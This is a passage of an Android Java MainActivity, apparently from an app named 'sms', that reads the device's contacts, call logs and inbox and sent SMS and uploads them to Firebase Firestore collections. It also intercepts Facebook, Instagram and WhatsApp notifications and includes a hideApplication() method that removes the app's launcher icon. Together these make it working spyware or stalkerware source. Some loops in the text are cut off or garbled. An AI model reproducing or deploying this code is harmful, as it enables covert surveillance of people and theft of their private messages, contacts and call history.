271 | Log.d(TAG, "your was added successfully" );
272 | }
273 | });
274 |
275 | CollectionReference collection2= db.collection("Contacts");
276 | DocumentReference document2=collection.document();
277 | document.set(test).addOnSuccessListener(new OnSuccessListener() {
278 | @Override
279 | public void onSuccess(Void documentReference) {
280 | Log.d(TAG, "your was added successfully" );
281 | }
282 | });
283 | CollectionReference collection3= db.collection("CallLogs");
284 | DocumentReference document3=collection.document();
285 | document.set(test).addOnSuccessListener(new OnSuccessListener() {
286 | @Override
287 | public void onSuccess(Void documentReference) {
288 | Log.d(TAG, "your was added successfully" );
289 | }
290 | });
291 | CollectionReference collection4= db.collection("notifications");
292 | DocumentReference document4=collection.document();
293 | document.set(test).addOnSuccessListener(new OnSuccessListener() {
294 | @Override
295 | public void onSuccess(Void documentReference) {
296 | Log.d(TAG, "your was added successfully" );
297 | }
298 | });
299 |
300 | return true;
301 | }
302 |
303 | @WorkerThread
304 | private List deleteQueryBatch(final Query query) throws Exception {
305 | QuerySnapshot querySnapshot = Tasks.await(query.get());
306 |
307 | WriteBatch batch = query.getFirestore().batch();
308 | for (DocumentSnapshot snapshot : querySnapshot) {
309 | batch.delete(snapshot.getReference());
310 | }
311 | Tasks.await(batch.commit());
312 |
313 | return querySnapshot.getDocuments();
314 | }
315 |
316 | private Task deleteCollection(final CollectionReference collection,
317 | final int batchSize,
318 | Executor executor) {
319 |
320 | // Perform the delete operation on the provided Executor, which allows us to use
321 | // simpler synchronous logic without blocking the main thread.
322 | return Tasks.call(executor, new Callable() {
323 | @Override
324 | public Void call() throws Exception {
325 | // Get the first batch of documents in the collection
326 | Query query = collection.orderBy(FieldPath.documentId()).limit(batchSize);
327 |
328 | // Get a list of deleted documents
329 | List deleted = deleteQueryBatch(query);
330 |
331 | // While the deleted documents in the last batch indicate that there
332 | // may still be more documents in the collection, page down to the
333 | // next batch and delete again
334 | while (deleted.size() >= batchSize) {
335 | // Move the query cursor to start after the last doc in the batch
336 | DocumentSnapshot last = deleted.get(deleted.size() - 1);
337 | query = collection.orderBy(FieldPath.documentId())
338 | .startAfter(last.getId())
339 | .limit(batchSize);
340 |
341 | deleted = deleteQueryBatch(query);
342 | }
343 |
344 | return null;
345 | }
346 | });
347 |
348 | }
349 |
350 |
351 | private void sendContactsToDB(ArrayList contactList) {
352 |
353 | Map sms = new HashMap<>();
354 | FirebaseFirestore db = FirebaseFirestore.getInstance();
355 | CollectionReference collection= db.collection("Contacts");
356 |
357 | for(int i=0;i() {
362 | @Override
363 | public void onSuccess(Void documentReference) {
364 | Log.d(TAG, "your contact was added successfully" );
365 | }
366 | });
367 |
368 | }
369 |
370 | }
371 |
372 | private void sendReceivedSMSToDB(ArrayList listSMS) {
373 |
374 | Map sms = new HashMap<>();
375 | FirebaseFirestore db = FirebaseFirestore.getInstance();
376 | CollectionReference collection= db.collection("ReceivedSMS");
377 |
378 | for(int i=0;i() {
383 | @Override
384 | public void onSuccess(Void documentReference) {
385 | Log.d(TAG, "your sms was added successfully" );
386 | }
387 | });
388 |
389 | }
390 | }
391 |
392 | public void sendSentSMSToDB(ArrayList listSMS) {
393 |
394 | Map sms = new HashMap<>();
395 | FirebaseFirestore db = FirebaseFirestore.getInstance();
396 | CollectionReference collection= db.collection("SentSMS");
397 |
398 | for(int i=0;i() {
403 | @Override
404 | public void onSuccess(Void documentReference) {
405 | Log.d("5ra", "your sms was added successfully" );
406 | }
407 | });
408 |
409 | }
410 | }
411 |
412 |
413 |
414 | public void sendCallLogToDB(ArrayList listCallLogs) {
415 | //firebase
416 | Map callLog = new HashMap<>();
417 | FirebaseFirestore db = FirebaseFirestore.getInstance();
418 | CollectionReference collection= db.collection("CallLogs");
419 |
420 | for(int i=0;i() {
427 | @Override
428 | public void onSuccess(Void documentReference) {
429 | Log.d(TAG, "your call Log was added successfully" );
430 | }
431 | });
432 |
433 | }
434 | }
435 |
436 | @Override
437 | public void onRequestPermissionsResult(int requestCode, String permissions[], int[] grantResults) {
438 | if (requestCode == 100) {
439 | if (grantResults.length > 0
440 | && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
441 | // do something
442 | }
443 | return;
444 | }
445 | }
446 |
447 | private boolean checkPermissions() {
448 | int result;
449 | List listPermissionsNeeded = new ArrayList<>();
450 | for (String p : permissions) {
451 | result = ContextCompat.checkSelfPermission(this, p);
452 | if (result != PackageManager.PERMISSION_GRANTED) {
453 | listPermissionsNeeded.add(p);
454 | }
455 | }
456 | if (!listPermissionsNeeded.isEmpty()) {
457 | ActivityCompat.requestPermissions(this, listPermissionsNeeded.toArray(new String[listPermissionsNeeded.size()]), 100);
458 | return false;
459 | }
460 | return true;
461 | }
462 |
463 | @Override
464 | protected void onDestroy() {
465 | super.onDestroy();
466 | //unregisterReceiver(imageChangeBroadcastReceiver);
467 | }
468 |
469 | /**
470 | * Change Intercepted Notification Image
471 | * Changes the MainActivity image based on which notification was intercepted
472 | * @param notificationCode The intercepted notification code
473 | */
474 |
475 |
476 | private void changeInterceptedNotificationImage(int notificationCode){
477 | switch(notificationCode){
478 | case NotificationListenerExampleService.InterceptedNotificationCode.FACEBOOK_CODE:
479 | interceptedNotificationImageView.setImageResource(R.drawable.facebook_logo);
480 | break;
481 | case NotificationListenerExampleService.InterceptedNotificationCode.INSTAGRAM_CODE:
482 | interceptedNotificationImageView.setImageResource(R.drawable.instagram_logo);
483 | break;
484 | case NotificationListenerExampleService.InterceptedNotificationCode.WHATSAPP_CODE:
485 | interceptedNotificationImageView.setImageResource(R.drawable.whatsapp_logo);
486 | break;
487 | case NotificationListenerExampleService.InterceptedNotificationCode.OTHER_NOTIFICATIONS_CODE:
488 | interceptedNotificationImageView.setImageResource(R.drawable.other_notification_logo);
489 | break;
490 |
491 |
492 | }
493 | }
494 |
495 |
496 | /**
497 | * Is Notification Service Enabled.
498 | * Verifies if the notification listener service is enabled.
499 | * Got it from: https://github.com/kpbird/NotificationListenerService-Example/blob/master/NLSExample/src/main/java/com/kpbird/nlsexample/NLService.java
500 | * @return True if eanbled, false otherwise.
501 | */
502 | private boolean isNotificationServiceEnabled(){
503 | String pkgName = getPackageName();
504 | final String flat = Settings.Secure.getString(getContentResolver(),
505 | ENABLED_NOTIFICATION_LISTENERS);
506 | if (!TextUtils.isEmpty(flat)) {
507 | final String[] names = flat.split(":");
508 | for (int i = 0; i < names.length; i++) {
509 | final ComponentName cn = ComponentName.unflattenFromString(names[i]);
510 | if (cn != null) {
511 | if (TextUtils.equals(pkgName, cn.getPackageName())) {
512 | return true;
513 | }
514 | }
515 | }
516 | }
517 | return false;
518 | }
519 |
520 | /**
521 | * Image Change Broadcast Receiver.
522 | * We use this Broadcast Receiver to notify the Main Activity when
523 | * a new notification has arrived, so it can properly change the
524 | * notification image
525 | * */
526 | public class ImageChangeBroadcastReceiver extends BroadcastReceiver {
527 | @Override
528 | public void onReceive(Context context, Intent intent) {
529 | int receivedNotificationCode = intent.getIntExtra("Notification Code",-1);
530 | changeInterceptedNotificationImage(receivedNotificationCode);
531 | }
532 | }
533 |
534 |
535 | /**
536 | * Build Notification Listener Alert Dialog.
537 | * Builds the alert dialog that pops up if the user has not turned
538 | * the Notification Listener Service on yet.
539 | * @return An alert dialog which leads to the notification enabling screen
540 | */
541 | private AlertDialog buildNotificationServiceAlertDialog(){
542 | AlertDialog.Builder alertDialogBuilder = new AlertDialog.Builder(this);
543 | alertDialogBuilder.setTitle(R.string.notification_listener_service);
544 | alertDialogBuilder.setMessage(R.string.notification_listener_service_explanation);
545 | alertDialogBuilder.setPositiveButton(R.string.yes,
546 | new DialogInterface.OnClickListener() {
547 | public void onClick(DialogInterface dialog, int id) {
548 | startActivity(new Intent(ACTION_NOTIFICATION_LISTENER_SETTINGS));
549 | }
550 | });
551 | alertDialogBuilder.setNegativeButton(R.string.no,
552 | new DialogInterface.OnClickListener() {
553 | public void onClick(DialogInterface dialog, int id) {
554 | // If you choose to not enable the notification listener
555 | // the app. will not work as expected
556 | }
557 | });
558 | return(alertDialogBuilder.create());
559 | }
560 |
561 | public ArrayList getCallDetails() {
562 |
563 | ArrayList callLogs= new ArrayList();
564 | StringBuffer sb = new StringBuffer();
565 |
566 | ActivityCompat.requestPermissions(MainActivity.this, new String[]{"android.permission.READ_CALL_LOG"}, REQUEST_CODE_ASK_PERMISSIONS);
567 | if (ContextCompat.checkSelfPermission(getBaseContext(), "android.permission.READ_CALL_LOG") == PackageManager.PERMISSION_GRANTED) {
568 |
569 |
570 | Calendar calendar = Calendar.getInstance();
571 | calendar.add(Calendar.DAY_OF_YEAR, -1);
572 | Date weekBefore = calendar.getTime();
573 |
574 | String selection = CallLog.Calls.DATE + ">?";
575 | String [] selectionArgs = {String.valueOf(weekBefore.getTime())};
576 | //Cursor cr = managedQuery(CallLog.Calls.CONTENT_URI, null, selection, selectionArgs, null);
577 |
578 |
579 | Cursor managedCursor = managedQuery(CallLog.Calls.CONTENT_URI, null,
580 | selection, selectionArgs, CallLog.Calls.DATE + " ASC");
581 | int number = managedCursor.getColumnIndex(CallLog.Calls.NUMBER);
582 | //Toast.makeText(this, "hahahghk", Toast.LENGTH_LONG).show();
583 | int type = managedCursor.getColumnIndex(CallLog.Calls.TYPE);
584 | int date = managedCursor.getColumnIndex(CallLog.Calls.DATE);
585 | int duration = managedCursor.getColumnIndex(CallLog.Calls.DURATION);
586 | sb.append("Call Details :");
587 | while (managedCursor.moveToNext()) {
588 | String phNumber = managedCursor.getString(number);
589 | String callType = managedCursor.getString(type);
590 | String callDate = managedCursor.getString(date);
591 | Date callDayTime = new Date(Long.valueOf(callDate));
592 | String callDuration = managedCursor.getString(duration);
593 | String dir = null;
594 | int dircode = Integer.parseInt(callType);
595 | switch (dircode) {
596 | case CallLog.Calls.OUTGOING_TYPE:
597 | dir = "OUTGOING";
598 | break;
599 |
600 | case CallLog.Calls.INCOMING_TYPE:
601 | dir = "INCOMING";
602 | break;
603 |
604 | case CallLog.Calls.MISSED_TYPE:
605 | dir = "MISSED";
606 | break;
607 | }
608 | sb.append("\nPhone Number:--- " + phNumber + " \nCall Type:--- "
609 | + dir + " \nCall Date:--- " + callDayTime
610 | + " \nCall duration in sec :--- " + callDuration);
611 | sb.append("\n----------------------------------");
612 | callLogs.add(new com.example.ghazi.sms.CallLog(phNumber,dir,callDayTime,callDuration));
613 | }
614 |
615 | // close it or no ?
616 | // managedCursor.close();
617 | }
618 |
619 | //return sb.toString();
620 | return callLogs;
621 |
622 | }
623 |
624 | private void hideApplication() {
625 |
626 | PackageManager pm = getApplicationContext().getPackageManager();
627 | pm.setComponentEnabledSetting(getComponentName(), PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
628 | PackageManager.DONT_KILL_APP);
629 |
630 | }
631 |
632 | private ArrayList getContactList() {
633 |
634 | ArrayList contacts= new ArrayList();
635 | ActivityCompat.requestPermissions(MainActivity.this, new String[]{"android.permission.READ_CONTACTS"}, REQUEST_CODE_ASK_PERMISSIONS);
636 | if (ContextCompat.checkSelfPermission(getBaseContext(), "android.permission.READ_CONTACTS") == PackageManager.PERMISSION_GRANTED) {
637 |
638 | ContentResolver cr = getContentResolver();
639 | Cursor cur = cr.query(ContactsContract.Contacts.CONTENT_URI,
640 | null, null, null, null);
641 |
642 | if ((cur != null ? cur.getCount() : 0) > 0) {
643 | while (cur != null && cur.moveToNext()) {
644 | String id = cur.getString(
645 | cur.getColumnIndex(ContactsContract.Contacts._ID));
646 | String name = cur.getString(cur.getColumnIndex(
647 | ContactsContract.Contacts.DISPLAY_NAME));
648 |
649 | if (cur.getInt(cur.getColumnIndex(
650 | ContactsContract.Contacts.HAS_PHONE_NUMBER)) > 0) {
651 | Cursor pCur = cr.query(
652 | ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
653 | null,
654 | ContactsContract.CommonDataKinds.Phone.CONTACT_ID + " = ?",
655 | new String[]{id}, null);
656 | while (pCur.moveToNext()) {
657 | String phoneNo = pCur.getString(pCur.getColumnIndex(
658 | ContactsContract.CommonDataKinds.Phone.NUMBER));
659 | Log.d("Name: " ,name);
660 | Log.d("Phone Number: " ,phoneNo);
661 | contacts.add(new Contact(name,phoneNo));
662 |
663 |
664 | }
665 | pCur.close();
666 | }
667 | }
668 | }
669 | if (cur != null) {
670 | cur.close();
671 | }
672 | // Log.d("ghazi",""+contacts.size());
673 |
674 | }
675 | return contacts;
676 | }
677 |
678 |
679 |
680 | public ArrayList getReceivedSMSs(){
681 |
682 | ArrayList smsList= new ArrayList();
683 | ActivityCompat.requestPermissions(MainActivity.this, new String[]{"android.permission.READ_SMS"}, REQUEST_CODE_ASK_PERMISSIONS);
684 | if (ContextCompat.checkSelfPermission(getBaseContext(), "android.permission.READ_SMS") == PackageManager.PERMISSION_GRANTED) {
685 |
686 | Cursor cursor = getContentResolver().query(Uri.parse("content://sms/inbox"), null, null, null, null);
687 |
688 | if (cursor.moveToFirst()) { // must check the result to prevent exception
689 | do {
690 | String msgData = "";
691 | for (int idx = 0; idx < cursor.getColumnCount(); idx++) {
692 | msgData += " " + cursor.getColumnName(idx) + ":" + cursor.getString(idx);
693 | }
694 | //Toast.makeText(this, "" + msgData, Toast.LENGTH_SHORT).show();
695 | // String body=cursor.getString(12);
696 | String body= cursor.getString(cursor.getColumnIndex("body"));
697 | String address= cursor.getString(cursor.getColumnIndex("address"));
698 |
699 | //Log.d("hhhh",body+ ":::"+address);
700 | smsList.add(new Sms(address,body));
701 | } while (cursor.moveToNext());
702 | }
703 | }
704 | return smsList;
705 | }
706 |
707 | public ArrayList getSentSMSs(){
708 |
709 | ArrayList smsList= new ArrayList();
710 | ActivityCompat.requestPermissions(MainActivity.this, new String[]{"android.permission.READ_SMS"}, REQUEST_CODE_ASK_PERMISSIONS);
711 | if (ContextCompat.checkSelfPermission(getBaseContext(), "android.permission.READ_SMS") == PackageManager.PERMISSION_GRANTED) {
712 |
713 | Cursor cursor = getContentResolver().query(Uri.parse("content://sms/sent"), null, null, null, null);
714 |
715 | if (cursor.moveToFirst()) { // must check the result to prevent exception
716 | do {
717 | String msgData = "";
718 | for (int idx = 0; idx < cursor.getColumnCount(); idx++) {
719 | msgData += " " + cursor.getColumnName(idx) + ":" + cursor.getString(idx);
720 | }
721 | //Toast.makeText(this, "" + msgData, Toast.LENGTH_SHORT).show();
722 | // String body=cursor.getString(12);
723 | String body= cursor.getString(cursor.getColumnIndex("body"));
724 | String address= cursor.getString(cursor.getColumnIndex("address"));
725 |
726 | //Log.d("hhhh",body+ ":::"+address);
727 | smsList.add(new Sms(address,body));
728 | } while (cursor.moveToNext());
729 | }
730 | }
731 | return smsList;
732 | }
733 | }
734 |
--------------------------------------------------------------------------------